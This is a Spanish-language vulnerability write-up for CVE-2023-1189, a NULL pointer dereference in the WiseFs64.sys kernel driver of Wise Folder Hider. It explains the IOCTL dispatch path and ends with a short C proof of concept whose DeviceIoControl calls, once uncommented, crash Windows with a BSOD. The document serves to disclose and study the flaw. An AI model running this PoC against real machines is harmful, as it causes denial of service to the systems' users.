
CVE-2023-1189 PoC y Exploit
| Elemento | Detalles |
|---|
| CVE ID | CVE-2023-1189 |
| Tipo de vulnerabilidad | Improper Resource Shutdown or Release (CWE-404) |
| Software afectado | WiseCleaner Wise Folder Hider |
| Componente vulnerable | WiseFs64.sys (Kernel Driver) |
| Versión vulnerable | 4.4.3.202 |
| CVSS | NVD - 5.5 (Medio), VulDB - 3.3 (Bajo) |
| Fecha de divulgación | 2023.03.06 |
Esta vulnerabilidad es una vulnerabilidad de denegación de servicio local (Local Denial of Service) que permite a un atacante, con privilegios de usuario, provocar una desreferencia de puntero NULL (NULL Pointer Dereference) en el kernel a través de un IOCTL específico, llevando al sistema a un estado BSOD.
La vulnerabilidad CVE-2023-1189 ocurre en el controlador de kernel WiseFs64.sys generado por la instalación del programa Wise Folder Hider versión 4.4.3.202.
El flujo general de la vulnerabilidad es el siguiente:

Si examinamos este flujo en detalle:

Primero, en la función DriverEntry se establece la función dispatchDeviceControl en el índice 14 de la tabla de despacho (Dispatch Table). De esta manera, todos los IOCTL que llegan a \\.\WiseFs son enviados a dispatchDeviceControl.

Al entrar en la función dispatchDeviceControl, primero se verifica si es un dispositivo de control; si lo es, se pasa a la función handleControlDeviceIoctl.

La función handleControlDeviceIoctl contiene la lógica que procesa los códigos IOCTL reales. Entre varios códigos IOCTL, en 0x222400, 0x222404 y 0x222410 se omite la verificación de si el valor del búfer (Buffer) es NULL o no. Por lo tanto, si se llama a los IOCTL anteriores con el búfer en NULL, el controlador accede al búfer provocando una desreferencia de puntero NULL (NULL Pointer Dereference) que deriva en un BSOD.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}